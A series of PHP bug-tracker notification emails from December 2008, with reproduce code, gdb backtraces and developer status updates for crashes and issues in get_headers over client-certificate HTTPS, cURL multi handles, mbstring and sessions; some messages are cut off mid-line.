#46748 [Csd->Opn]: get_headers generates segmentation fault on HTTPS with SSLVerifyClient required
ID: 46748
User updated by: romanf at trash dot net
Reported By: romanf at trash dot net
-Status: Closed
+Status: Open
Bug Type: HTTP related
Operating System: Linux (OpenSuse 11)
PHP Version: 5.2CVS-2008-12-04 (snap)
New Comment:
Checked with Snapshot 200812080530, same result:
-- backtrace --
[EMAIL PROTECTED]:/usr/src/php/php5.2-200812080530> gdb
/usr/local/bin/php
GNU gdb 6.6.50.20070726-cvs
Copyright (C) 2007 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "x86_64-suse-linux"...
Using host libthread_db library "/lib64/libthread_db.so.1".
(gdb) run ../client_test.php
Starting program: /usr/local/bin/php ../client_test.php
[Thread debugging using libthread_db enabled]
[New Thread 0x2b3b6c2b6310 (LWP 11655)]
Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Mon, 08 Dec 2008 08:12:55 GMT
[2] => Server: Apache
[3] => X-Powered-By: PHP/5.2.9-dev
[4] => Content-Length: 136
[5] => Connection: close
[6] => Content-Type: text/html; charset=ISO-8859-1
)
Warning: get_headers(): SSL operation failed with code 1. OpenSSL Error
messages:
error:14094410:SSL routines:func(148):reason(1040) in
/usr/src/php/client_test.php on line 3
Warning:
get_headers(https://fish-serv.dyndns.org/php_test/client_require.php):
failed to open stream: HTTP request failed! in
/usr/src/php/client_test.php on line 3
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x2b3b6c2b6310 (LWP 11655)]
_zend_mm_free_int (heap=0xc5d2b0, p=0xdefd70) at
/usr/src/php/php5.2-200812080530/Zend/zend_alloc.c:1973
1973if (ZEND_MM_IS_FREE_BLOCK(next_block)) {
(gdb) bt
#0 _zend_mm_free_int (heap=0xc5d2b0, p=0xdefd70) at
/usr/src/php/php5.2-200812080530/Zend/zend_alloc.c:1973
#1 0x006bcf37 in destroy_op_array (op_array=0xdedc00) at
/usr/src/php/php5.2-200812080530/Zend/zend_variables.h:35
#2 0x006c550c in zend_execute_scripts (type=8, retval=0x0,
file_count=3) at /usr/src/php/php5.2-200812080530/Zend/zend.c:1171
#3 0x00682e8d in php_execute_script
(primary_file=0x7fff41852460) at
/usr/src/php/php5.2-200812080530/main/main.c:2023
#4 0x0074836b in main (argc=2, argv=0x7fff41852658) at
/usr/src/php/php5.2-200812080530/sapi/cli/php_cli.c:1133
(gdb)
Previous Comments:
[2008-12-08 02:34:08] [EMAIL PROTECTED]
This bug has been fixed in CVS.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
Thank you for the report, and for helping us make PHP better.
[2008-12-07 09:36:53] [EMAIL PROTECTED]
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php for *NIX and
http://bugs.php.net/bugs-generating-backtrace-win32.php for Win32
Once you have generated a backtrace, please submit it to this bug
report and change the status back to "Open". Thank you for helping
us make PHP better.
[2008-12-04 07:39:54] romanf at trash dot net
Description:
get_headers() generates segmentation fault on HTTPS-URLs with
"SSLVerifyClient required".
Reproduce code:
---
I put up two test-pages to reproduce the bug. One (client_none.php) has
"SSLVerifyClient none" set in .htaccess, the other (client_require.php)
has "SSLVerifyClient required" set.
Use the following to get the segmentation fault:
php -r
"print_r(get_headers('https://fish-serv.dyndns.org/php_test/client_none.php'));
print_r(get_headers('https://fish-serv.dyndns.org/php_test/client_require.php'));"
Expected result:
Second get_headers() should NOT produce a segmentation fault. It should
return a normal error-code instead.
Actual result:
--
[EMAIL PROTECTED]:~> php -r
"print_r(get_headers('https://fish-serv.dyndns.org/php_test/client_none.php'));
print_r(get_headers('https://fish-serv.dyndns.org/php_test/client_require.php'));"
Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Thu, 04 Dec 2008 07:37:52 GMT
[2] => Server: Apache
[3] => X-Powered-By: PHP/5.2.8-dev
[4] => Content-Length: 136
[5] => Connection: close
[6] => Content-Type: text/html; charset=ISO-8859-1
)
Warning: get_headers(): SSL operation failed with code 1. OpenSSL Error
messages:
error:14094410:SSL routines:func(148):reason(1
#46794 [Opn->Bgs]: addslashes() generate mojibake for single byte(Shift_JIS)
ID: 46794
Updated by: [EMAIL PROTECTED]
Reported By: sohel62 at yahoo dot com
-Status: Open
+Status: Bogus
Bug Type: Output Control
Operating System: Win 2000
PHP Version: 5.2.7
New Comment:
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php
addslashes only deals with bytes, and has no notion about character
sets. Therefore it doesn't know it deals with Shift_JIS and can not
escape those with addslashes properly. This is something that will be
addressed in PHP 6.
Previous Comments:
[2008-12-08 06:29:01] sohel62 at yahoo dot com
Description:
When I tried to use addslashes() function before store data into the
database for the following string and the string was encoded as
Shift_JIS that was broken.
ç´¹ä»äºå®æ´¾é£
Except that string there are some other characters also show mojibake
too.
Best regard
Taslim Sohel
Reproduce code:
---
echo addslashes('ç´¹ä»äºå®æ´¾é£');
Expected result:
ç´¹ä»äº\å®æ´¾é£
Actual result:
--
ç´¹ä»äºå®æ´¾é£
--
Edit this bug report at http://bugs.php.net/?id=46794&edit=1
#46786 [Opn->Bgs]: numeric variable & get_defined_vars()'s return come's something not expect.
ID: 46786
Updated by: [EMAIL PROTECTED]
Reported By: caoxingk at gmail dot com
-Status: Open
+Status: Bogus
-Bug Type: Unknown/Other Function
+Bug Type: Scripting Engine problem
Operating System: win_nt
PHP Version: 5.2.7
New Comment:
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php
Previous Comments:
[2008-12-06 17:50:47] caoxingk at gmail dot com
Description:
file NumericVarName.php
alert(\'' . $_Msg .
'\');';}
isset($$TestVar) && MyEcho('Case A!');
isset($SeeThis[]) && MyEcho('Case B!');
isset($SeeThis['']) && MyEcho('Case C!');
foreach ($SeeThis as $_Ui => $_Uk) {
($_Ui === ) && $_Temp = 'Case B too!';
($_Ui === '') && $_Temp = 'Case C too!';
isset($_Temp) && MyEcho($_Temp);
}
?>
--
My English is poor.Just explain my question shortly:
The output contains "Case A!" & "Case C too!",
but why not contain "Case C!" before "Case C too!" ?
--
Hope you can analyse what I've talk about,
maybe something not expect comes such as:
- syntax-parser do not check "$$var" when "$var" is numeric.
- do "foreach array" with get_defined_vars()'s return has a
shortcoming.
- ...
Wish PHP better & better...
--
Edit this bug report at http://bugs.php.net/?id=46786&edit=1
#46756 [Opn->Ver]: curl_copy_handle crashes with curl_multi
ID: 46756
Updated by: [EMAIL PROTECTED]
Reported By: kyle at ifixit dot com
-Status: Open
+Status: Verified
Bug Type: cURL related
-Operating System: CentOS
+Operating System: *
-PHP Version: 5.2.7
+PHP Version: 5CVS, 6CVS (2008-12-08)
New Comment:
Verified with latest CVS + Curl 7.18.2
Previous Comments:
[2008-12-07 16:45:51] kyle at ifixit dot com
Reproducible using libcurl/7.19.2 OpenSSL/0.9.8b zlib/1.2.3
libidn/0.6.5
on kernel 2.6.18-53.1.14.el5. This is not a new bug-- also reproducible
with PHP 5.2.6 and an older version of libcurl.
[2008-12-07 09:54:13] [EMAIL PROTECTED]
I cannot reproduce this on PHP 5.2.7 using Windows Vista
[2008-12-06 15:52:05] crrodriguez at opensuse dot org
VERIFIED, but it is curl_multi_exec() that crashes.
[2008-12-05 06:11:06] kyle at ifixit dot com
Description:
Multicurl crashes when using curl_copy_handle. Setup a multi request
(A), copy the handlers, perform the first multi request (A) and clean
it
up, then perform a second request (B) with the copied handlers. PHP
segfaults (a double free) on one of the handler close calls.
If I don't manually free the multihandle, then the segfault is delayed
until PHP cleans up the objects.
Reproduce code:
---
http://www.google.com/');
curl_setopt($ch, CURLOPT_TIMEOUT, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$conn[$i] = $ch;
curl_multi_add_handle($mh, $ch);
}
// Perform first set of requests
do {
do {
} while (curl_multi_exec($mh, $stillRunning) ===
CURLM_CALL_MULTI_PERFORM);
} while ($stillRunning);
for ($i = 0; $i < $count; $i++) {
// Copy the completed handlers
$conn2[$i] = curl_copy_handle($conn[$i]);
curl_multi_add_handle($mh2, $conn2[$i]);
// Remove the handlers from the first multihandler
curl_multi_remove_handle($mh, $conn[$i]);
curl_close($conn[$i]);
}
curl_multi_close($mh);
echo "Initial requests Finished.\n";
// Perform the second set of requests
do {
do {
} while (curl_multi_exec($mh2, $stillRunning) ===
CURLM_CALL_MULTI_PERFORM);
} while ($stillRunning);
// Remove the second set of completed handlers
for ($i = 0; $i < $count; $i++) {
curl_multi_remove_handle($mh2, $conn2[$i]);
curl_close($conn2[$i]);
}
curl_multi_close($mh2);
echo "Copied requests finished.\n";
?>
Expected result:
Initial requests Finished.
Copied requests finished.
Actual result:
--
*** glibc detected *** php: double free or corruption (out):
0x11e59630 ***
=== Backtrace: =
/lib64/libc.so.6[0x35a906f4f4]
/lib64/libc.so.6(cfree+0x8c)[0x35a9072b1c]
/usr/local/lib/libcurl.so.4(curl_slist_free_all+0x23)[0x2beff893]
php[0x4bd7ee]
php(zend_llist_destroy+0x43)[0x83eb3c]
php(zend_llist_clean+0x15)[0x83eba5]
php[0x4c2094]
php(list_entry_destructor+0x87)[0x85cd84]
php(zend_hash_del_key_or_index+0x218)[0x859e8e]
php(_zend_list_delete+0x69)[0x85c851]
php(_zval_dtor_func+0x142)[0x84934a]
php[0x839385]
php(_zval_ptr_dtor+0x49)[0x8395f2]
php(_zval_ptr_dtor_wrapper+0x21)[0x8496f2]
php(zend_hash_destroy+0x70)[0x859fe1]
php(_zval_dtor_func+0xfb)[0x849303]
php[0x839385]
php(_zval_ptr_dtor+0x49)[0x8395f2]
php(_zval_ptr_dtor_wrapper+0x21)[0x8496f2]
php(zend_hash_clean+0x70)[0x85a133]
php[0x876e58]
php[0x87796d]
php(execute+0x2f4)[0x8764e8]
php[0x876c7c]
php[0x87796d]
php(execute+0x2f4)[0x8764e8]
php[0x876c7c]
php[0x87796d]
php(execute+0x2f4)[0x8764e8]
php[0x876c7c]
php[0x87796d]
php(execute+0x2f4)[0x8764e8]
php[0x876c7c]
php[0x87796d]
php(execute+0x2f4)[0x8764e8]
php[0x876c7c]
php[0x87796d]
php(execute+0x2f4)[0x8764e8]
php(zend_execute_scripts+0x290)[0x84be45]
php(php_execute_script+0x38e)[0x7eb4f4]
php(main+0x143e)[0x8e43d5]
/lib64/libc.so.6(__libc_start_main+0xf4)[0x35a901d8a4]
php[0x474859]
--
Edit this bug report at http://bugs.php.net/?id=46756&edit=1
#46748 [Opn->Fbk]: get_headers generates segmentation fault on HTTPS with SSLVerifyClient required
ID: 46748
Updated by: [EMAIL PROTECTED]
Reported By: romanf at trash dot net
-Status: Open
+Status: Feedback
Bug Type: HTTP related
Operating System: Linux (OpenSuse 11)
PHP Version: 5.2CVS-2008-12-04 (snap)
New Comment:
I can't reproduce this. Are you absolutely sure you're using the latest
CVS build? And also, what openssl version are you linking PHP with?
Previous Comments:
[2008-12-08 08:14:15] romanf at trash dot net
Checked with Snapshot 200812080530, same result:
-- backtrace --
[EMAIL PROTECTED]:/usr/src/php/php5.2-200812080530> gdb
/usr/local/bin/php
GNU gdb 6.6.50.20070726-cvs
Copyright (C) 2007 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "x86_64-suse-linux"...
Using host libthread_db library "/lib64/libthread_db.so.1".
(gdb) run ../client_test.php
Starting program: /usr/local/bin/php ../client_test.php
[Thread debugging using libthread_db enabled]
[New Thread 0x2b3b6c2b6310 (LWP 11655)]
Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Mon, 08 Dec 2008 08:12:55 GMT
[2] => Server: Apache
[3] => X-Powered-By: PHP/5.2.9-dev
[4] => Content-Length: 136
[5] => Connection: close
[6] => Content-Type: text/html; charset=ISO-8859-1
)
Warning: get_headers(): SSL operation failed with code 1. OpenSSL Error
messages:
error:14094410:SSL routines:func(148):reason(1040) in
/usr/src/php/client_test.php on line 3
Warning:
get_headers(https://fish-serv.dyndns.org/php_test/client_require.php):
failed to open stream: HTTP request failed! in
/usr/src/php/client_test.php on line 3
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x2b3b6c2b6310 (LWP 11655)]
_zend_mm_free_int (heap=0xc5d2b0, p=0xdefd70) at
/usr/src/php/php5.2-200812080530/Zend/zend_alloc.c:1973
1973if (ZEND_MM_IS_FREE_BLOCK(next_block)) {
(gdb) bt
#0 _zend_mm_free_int (heap=0xc5d2b0, p=0xdefd70) at
/usr/src/php/php5.2-200812080530/Zend/zend_alloc.c:1973
#1 0x006bcf37 in destroy_op_array (op_array=0xdedc00) at
/usr/src/php/php5.2-200812080530/Zend/zend_variables.h:35
#2 0x006c550c in zend_execute_scripts (type=8, retval=0x0,
file_count=3) at /usr/src/php/php5.2-200812080530/Zend/zend.c:1171
#3 0x00682e8d in php_execute_script
(primary_file=0x7fff41852460) at
/usr/src/php/php5.2-200812080530/main/main.c:2023
#4 0x0074836b in main (argc=2, argv=0x7fff41852658) at
/usr/src/php/php5.2-200812080530/sapi/cli/php_cli.c:1133
(gdb)
[2008-12-08 02:34:08] [EMAIL PROTECTED]
This bug has been fixed in CVS.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
Thank you for the report, and for helping us make PHP better.
[2008-12-07 09:36:53] [EMAIL PROTECTED]
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php for *NIX and
http://bugs.php.net/bugs-generating-backtrace-win32.php for Win32
Once you have generated a backtrace, please submit it to this bug
report and change the status back to "Open". Thank you for helping
us make PHP better.
[2008-12-04 07:39:54] romanf at trash dot net
Description:
get_headers() generates segmentation fault on HTTPS-URLs with
"SSLVerifyClient required".
Reproduce code:
---
I put up two test-pages to reproduce the bug. One (client_none.php) has
"SSLVerifyClient none" set in .htaccess, the other (client_require.php)
has "SSLVerifyClient required" set.
Use the following to get the segmentation fault:
php -r
"print_r(get_headers('https://fish-serv.dyndns.org/php_test/client_none.php'));
print_r(get_headers('https://fish-serv.dyndns.org/php_test/client_require.php'));"
Expected result:
Second get_headers() should NOT produce a segmentation fault. It should
return a normal error-code instead.
Actual result:
--
[EMAIL PROTECTED]:~> php -r
"print_r(get_headers('https://fish-serv.dyndns.org/php_test/client_none.php'));
print_r(get_headers('https://fish-serv.dyndns.org/php_test/client_require.php'));"
Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Thu, 04 Dec 2008 07:37:52 GMT
[2] => Server: Apache
[3] => X-Powered-By: PH
#46738 [Opn->Ver]: mb_detect_encoding, segmentation fault (PHP_5_3 only!)
ID: 46738 Updated by: [EMAIL PROTECTED] -Summary: mb_detect_encoding, segmentation fault Reported By: thomas at koch dot ro -Status: Open +Status: Verified Bug Type: mbstring related -Operating System: Debian Lenny +Operating System: * PHP Version: 5.3CVS-2008-12-03 (CVS) New Comment: Crashes only with PHP_5_3. HEAD and PHP_5_2 work just fine.. Previous Comments: [2008-12-04 08:15:20] thomas at koch dot ro backtrace: #0 0x7fdfa0947050 in strlen () from /lib/libc.so.6 #1 0x006d26e5 in zif_mb_detect_encoding (ht=3, return_value=0x1b340d0, return_value_ptr=0x0, this_ptr=0x0, return_value_used=0, tsrm_ls=0x188f0c0) at /var/checkouts/php5_3/ext/mbstring/mbstring.c:3233 #2 0x00d9ddde in zend_do_fcall_common_helper_SPEC ( execute_data=0x7fdf9e3fe098, tsrm_ls=0x188f0c0) at /var/checkouts/php5_3/Zend/zend_vm_execute.h:313 #3 0x00da9900 in ZEND_DO_FCALL_SPEC_CONST_HANDLER ( execute_data=0x7fdf9e3fe098, tsrm_ls=0x188f0c0) at /var/checkouts/php5_3/Zend/zend_vm_execute.h:1564 #4 0x00d9bc5d in execute (op_array=0x1b33318, tsrm_ls=0x188f0c0) at /var/checkouts/php5_3/Zend/zend_vm_execute.h:104 #5 0x00d339b4 in zend_execute_scripts (type=8, tsrm_ls=0x188f0c0, retval=0x0, file_count=3) at /var/checkouts/php5_3/Zend/zend.c:1197 #6 0x00bfb0e8 in php_execute_script (primary_file=0x7fffab7dfb70, tsrm_ls=0x188f0c0) at /var/checkouts/php5_3/main/main.c:2080 #7 0x00e94735 in main (argc=2, argv=0x7fffab7dfdf8) at /var/checkouts/php5_3/sapi/cli/php_cli.c:1126 php --info mbstring Multibyte Support => enabled Multibyte string engine => libmbfl HTTP input encoding translation => disabled mbstring extension makes use of "streamable kanji code filter and converter", which is distributed under the GNU Lesser General Public License version 2.1. Multibyte (japanese) regex support => enabled Multibyte regex (oniguruma) backtrack check => On Multibyte regex (oniguruma) version => 4.7.1 Directive => Local Value => Master Value mbstring.detect_order => no value => no value mbstring.encoding_translation => Off => Off mbstring.func_overload => 0 => 0 mbstring.http_input => pass => pass mbstring.http_output => pass => pass mbstring.http_output_conv_mimetypes => ^(text/|application/xhtml\+xml) => ^(text/|application/xhtml\+xml) mbstring.internal_encoding => no value => no value mbstring.language => neutral => neutral mbstring.strict_detection => Off => Off mbstring.substitute_character => no value => no value [2008-12-04 03:11:35] [EMAIL PROTECTED] Hello. :-) Please backtrace and php.ini setting(mbstring section). http://bugs.php.net/bugs-generating-backtrace.php I'm tested in Debian Etch. But, not Segmentation Fault. [2008-12-03 11:48:57] thomas at koch dot ro Description: the code gives a segmentation fault Reproduce code: --- $html = chr( 250 ).chr( 10 ); mb_detect_encoding( $html, NULL, TRUE ); Expected result: -- no output, no error -- Actual result: -- segmentation fault -- Edit this bug report at http://bugs.php.net/?id=46738&edit=1
#46748 [Opn->Ver]: get_headers generates segmentation fault on HTTPS with SSLVerifyClient required
ID: 46748
Updated by: [EMAIL PROTECTED]
Reported By: romanf at trash dot net
-Status: Open
+Status: Verified
Bug Type: HTTP related
Operating System: Linux (OpenSuse 11)
-PHP Version: 5.2CVS-2008-12-04 (snap)
+PHP Version: 5.2CVS-2008-12-08
New Comment:
duh..I had a small copy-paste error. :D Reproduced with HEAD (PHP 6),
PHP_5_2 and PHP_5_3 give this error, no crash:
Warning: get_headers(): SSL operation failed with code 1. OpenSSL Error
messages:
error:14094410:SSL routines:func(148):reason(1040)
error:140940E5:SSL routines:func(148):reason(229) in Command line code
on line 1
Warning:
get_headers(https://fish-serv.dyndns.org/php_test/client_require.php):
failed to open stream: HTTP request failed! in Command line code on
line 1
Previous Comments:
[2008-12-08 12:55:04] romanf at trash dot net
I have the same bug on two OpenSuse systems.
Both have:
# rpm -q openssl
openssl-0.9.8e-45.5
installed. I used the following config to compile this mornings
snapshot:
./configure --enable-debug --with-mysql
--with-apxs2=/usr/local/apache2/bin/apxs --with-mcrypt --with-imap
--with-imap-ssl --with-gettext --with-zlib --with-openssl
--with-pdo-mysql --enable-mbstring=all --with-gd
Did you try the get_headers() against an HTTPS-Link that -requires- a
Client-Certificate? I can reproduce this on the test-pages given in my
samples *and* in a company-intranet...
Regards
Roman
[2008-12-08 11:38:46] [EMAIL PROTECTED]
I can't reproduce this. Are you absolutely sure you're using the latest
CVS build? And also, what openssl version are you linking PHP with?
[2008-12-08 08:14:15] romanf at trash dot net
Checked with Snapshot 200812080530, same result:
-- backtrace --
[EMAIL PROTECTED]:/usr/src/php/php5.2-200812080530> gdb
/usr/local/bin/php
GNU gdb 6.6.50.20070726-cvs
Copyright (C) 2007 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "x86_64-suse-linux"...
Using host libthread_db library "/lib64/libthread_db.so.1".
(gdb) run ../client_test.php
Starting program: /usr/local/bin/php ../client_test.php
[Thread debugging using libthread_db enabled]
[New Thread 0x2b3b6c2b6310 (LWP 11655)]
Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Mon, 08 Dec 2008 08:12:55 GMT
[2] => Server: Apache
[3] => X-Powered-By: PHP/5.2.9-dev
[4] => Content-Length: 136
[5] => Connection: close
[6] => Content-Type: text/html; charset=ISO-8859-1
)
Warning: get_headers(): SSL operation failed with code 1. OpenSSL Error
messages:
error:14094410:SSL routines:func(148):reason(1040) in
/usr/src/php/client_test.php on line 3
Warning:
get_headers(https://fish-serv.dyndns.org/php_test/client_require.php):
failed to open stream: HTTP request failed! in
/usr/src/php/client_test.php on line 3
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x2b3b6c2b6310 (LWP 11655)]
_zend_mm_free_int (heap=0xc5d2b0, p=0xdefd70) at
/usr/src/php/php5.2-200812080530/Zend/zend_alloc.c:1973
1973if (ZEND_MM_IS_FREE_BLOCK(next_block)) {
(gdb) bt
#0 _zend_mm_free_int (heap=0xc5d2b0, p=0xdefd70) at
/usr/src/php/php5.2-200812080530/Zend/zend_alloc.c:1973
#1 0x006bcf37 in destroy_op_array (op_array=0xdedc00) at
/usr/src/php/php5.2-200812080530/Zend/zend_variables.h:35
#2 0x006c550c in zend_execute_scripts (type=8, retval=0x0,
file_count=3) at /usr/src/php/php5.2-200812080530/Zend/zend.c:1171
#3 0x00682e8d in php_execute_script
(primary_file=0x7fff41852460) at
/usr/src/php/php5.2-200812080530/main/main.c:2023
#4 0x0074836b in main (argc=2, argv=0x7fff41852658) at
/usr/src/php/php5.2-200812080530/sapi/cli/php_cli.c:1133
(gdb)
[2008-12-08 02:34:08] [EMAIL PROTECTED]
This bug has been fixed in CVS.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
Thank you for the report, and for helping us make PHP better.
[2008-12-07 09:36:53] [EMAIL PROTECTED]
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php for *NIX and
http://bugs.php.net/bugs-generating-backtrace-wi
#46748 [Ver]: get_headers generates segmentation fault on HTTPS with SSLVerifyClient required
ID: 46748
Updated by: [EMAIL PROTECTED]
Reported By: romanf at trash dot net
Status: Verified
Bug Type: HTTP related
Operating System: Linux (OpenSuse 11)
PHP Version: 5.2CVS-2008-12-08
New Comment:
HEAD seems to crash when it tries to output the error message.
Previous Comments:
[2008-12-08 13:21:37] [EMAIL PROTECTED]
duh..I had a small copy-paste error. :D Reproduced with HEAD (PHP 6),
PHP_5_2 and PHP_5_3 give this error, no crash:
Warning: get_headers(): SSL operation failed with code 1. OpenSSL Error
messages:
error:14094410:SSL routines:func(148):reason(1040)
error:140940E5:SSL routines:func(148):reason(229) in Command line code
on line 1
Warning:
get_headers(https://fish-serv.dyndns.org/php_test/client_require.php):
failed to open stream: HTTP request failed! in Command line code on
line 1
[2008-12-08 12:55:04] romanf at trash dot net
I have the same bug on two OpenSuse systems.
Both have:
# rpm -q openssl
openssl-0.9.8e-45.5
installed. I used the following config to compile this mornings
snapshot:
./configure --enable-debug --with-mysql
--with-apxs2=/usr/local/apache2/bin/apxs --with-mcrypt --with-imap
--with-imap-ssl --with-gettext --with-zlib --with-openssl
--with-pdo-mysql --enable-mbstring=all --with-gd
Did you try the get_headers() against an HTTPS-Link that -requires- a
Client-Certificate? I can reproduce this on the test-pages given in my
samples *and* in a company-intranet...
Regards
Roman
[2008-12-08 11:38:46] [EMAIL PROTECTED]
I can't reproduce this. Are you absolutely sure you're using the latest
CVS build? And also, what openssl version are you linking PHP with?
[2008-12-08 08:14:15] romanf at trash dot net
Checked with Snapshot 200812080530, same result:
-- backtrace --
[EMAIL PROTECTED]:/usr/src/php/php5.2-200812080530> gdb
/usr/local/bin/php
GNU gdb 6.6.50.20070726-cvs
Copyright (C) 2007 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "x86_64-suse-linux"...
Using host libthread_db library "/lib64/libthread_db.so.1".
(gdb) run ../client_test.php
Starting program: /usr/local/bin/php ../client_test.php
[Thread debugging using libthread_db enabled]
[New Thread 0x2b3b6c2b6310 (LWP 11655)]
Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Mon, 08 Dec 2008 08:12:55 GMT
[2] => Server: Apache
[3] => X-Powered-By: PHP/5.2.9-dev
[4] => Content-Length: 136
[5] => Connection: close
[6] => Content-Type: text/html; charset=ISO-8859-1
)
Warning: get_headers(): SSL operation failed with code 1. OpenSSL Error
messages:
error:14094410:SSL routines:func(148):reason(1040) in
/usr/src/php/client_test.php on line 3
Warning:
get_headers(https://fish-serv.dyndns.org/php_test/client_require.php):
failed to open stream: HTTP request failed! in
/usr/src/php/client_test.php on line 3
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x2b3b6c2b6310 (LWP 11655)]
_zend_mm_free_int (heap=0xc5d2b0, p=0xdefd70) at
/usr/src/php/php5.2-200812080530/Zend/zend_alloc.c:1973
1973if (ZEND_MM_IS_FREE_BLOCK(next_block)) {
(gdb) bt
#0 _zend_mm_free_int (heap=0xc5d2b0, p=0xdefd70) at
/usr/src/php/php5.2-200812080530/Zend/zend_alloc.c:1973
#1 0x006bcf37 in destroy_op_array (op_array=0xdedc00) at
/usr/src/php/php5.2-200812080530/Zend/zend_variables.h:35
#2 0x006c550c in zend_execute_scripts (type=8, retval=0x0,
file_count=3) at /usr/src/php/php5.2-200812080530/Zend/zend.c:1171
#3 0x00682e8d in php_execute_script
(primary_file=0x7fff41852460) at
/usr/src/php/php5.2-200812080530/main/main.c:2023
#4 0x0074836b in main (argc=2, argv=0x7fff41852658) at
/usr/src/php/php5.2-200812080530/sapi/cli/php_cli.c:1133
(gdb)
[2008-12-08 02:34:08] [EMAIL PROTECTED]
This bug has been fixed in CVS.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
Thank you for the report, and for helping us make PHP better.
The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/46748
--
Edit this bug report at http://bugs.php.net/?id=46748&edi
#46787 [Opn->Fbk]: Hangs on session_start()
ID: 46787 Updated by: [EMAIL PROTECTED] Reported By: fredrik dot hellgren at gmail dot com -Status: Open +Status: Feedback Bug Type: Session related Operating System: Ubuntu 8.04 PHP Version: 5.2CVS-2008-12-06 (CVS) New Comment: Thank you for this bug report. To properly diagnose the problem, we need a backtrace to see what is happening behind the scenes. To find out how to generate a backtrace, please read http://bugs.php.net/bugs-generating-backtrace.php for *NIX and http://bugs.php.net/bugs-generating-backtrace-win32.php for Win32 Once you have generated a backtrace, please submit it to this bug report and change the status back to "Open". Thank you for helping us make PHP better. Previous Comments: [2008-12-06 19:39:12] fredrik dot hellgren at gmail dot com Description: A standard apt-get'ed php + apache2 hangs on session_start() if there is any session. Reproduce code: --- Expected result: Page does not stop loading Actual result: -- Hello world -- Edit this bug report at http://bugs.php.net/?id=46787&edit=1
#46778 [Opn->Bgs]: Data cannot be saved in session file.
ID: 46778 Updated by: [EMAIL PROTECTED] Reported By: yanan at joit dot com -Status: Open +Status: Bogus Bug Type: Session related Operating System: Linux PHP Version: 5.2.7 New Comment: Sorry, but your problem does not imply a bug in PHP itself. For a list of more appropriate places to ask for help using PHP, please visit http://www.php.net/support.php as this bug system is not the appropriate forum for asking support questions. Due to the volume of reports we can not explain in detail here why your report is not a bug. The support channels will be able to provide an explanation for you. Thank you for your interest in PHP. Previous Comments: [2008-12-06 09:06:35] yanan at joit dot com Description: Normal session file can be generated in session.save_path,but the length of all session files is 0.No session data can be saved in session file. The following is my phpinfo(): Session Support enabled Registered save handlersfiles user sqlite Registered serializer handlers php php_binary Directive Local Value Master Value session.auto_start Off Off session.bug_compat_42 Off Off session.bug_compat_warn On On session.cache_expire180 180 session.cache_limiter nocache nocache session.cookie_domain no valueno value session.cookie_httponly Off Off session.cookie_lifetime 0 0 session.cookie_path / / session.cookie_secure Off Off session.entropy_fileno valueno value session.entropy_length 0 0 session.gc_divisor 10001000 session.gc_maxlifetime 14401440 session.gc_probability 1 1 session.hash_bits_per_character 5 5 session.hash_function 0 0 session.namePHPSESSID PHPSESSID session.referer_check no valueno value session.save_handlerfiles files session.save_path /var/lib/php/var/lib/php session.serialize_handler php php session.use_cookies On On session.use_only_cookiesOff Off session.use_trans_sid 0 0 I'm sure the Directory session.save_path is writable(it's tested using PHP Function 'is_writable'). -- Edit this bug report at http://bugs.php.net/?id=46778&edit=1
#46748 [Ver->Asn]: get_headers generates segmentation fault on HTTPS with SSLVerifyClient required
ID: 46748
Updated by: [EMAIL PROTECTED]
Reported By: romanf at trash dot net
-Status: Verified
+Status: Assigned
Bug Type: HTTP related
Operating System: Linux (OpenSuse 11)
PHP Version: 5.2CVS-2008-12-08
-Assigned To:
+Assigned To: scottmac
New Comment:
Scott, please clarify it and add tests :)
Previous Comments:
[2008-12-08 13:22:31] [EMAIL PROTECTED]
HEAD seems to crash when it tries to output the error message.
[2008-12-08 13:21:37] [EMAIL PROTECTED]
duh..I had a small copy-paste error. :D Reproduced with HEAD (PHP 6),
PHP_5_2 and PHP_5_3 give this error, no crash:
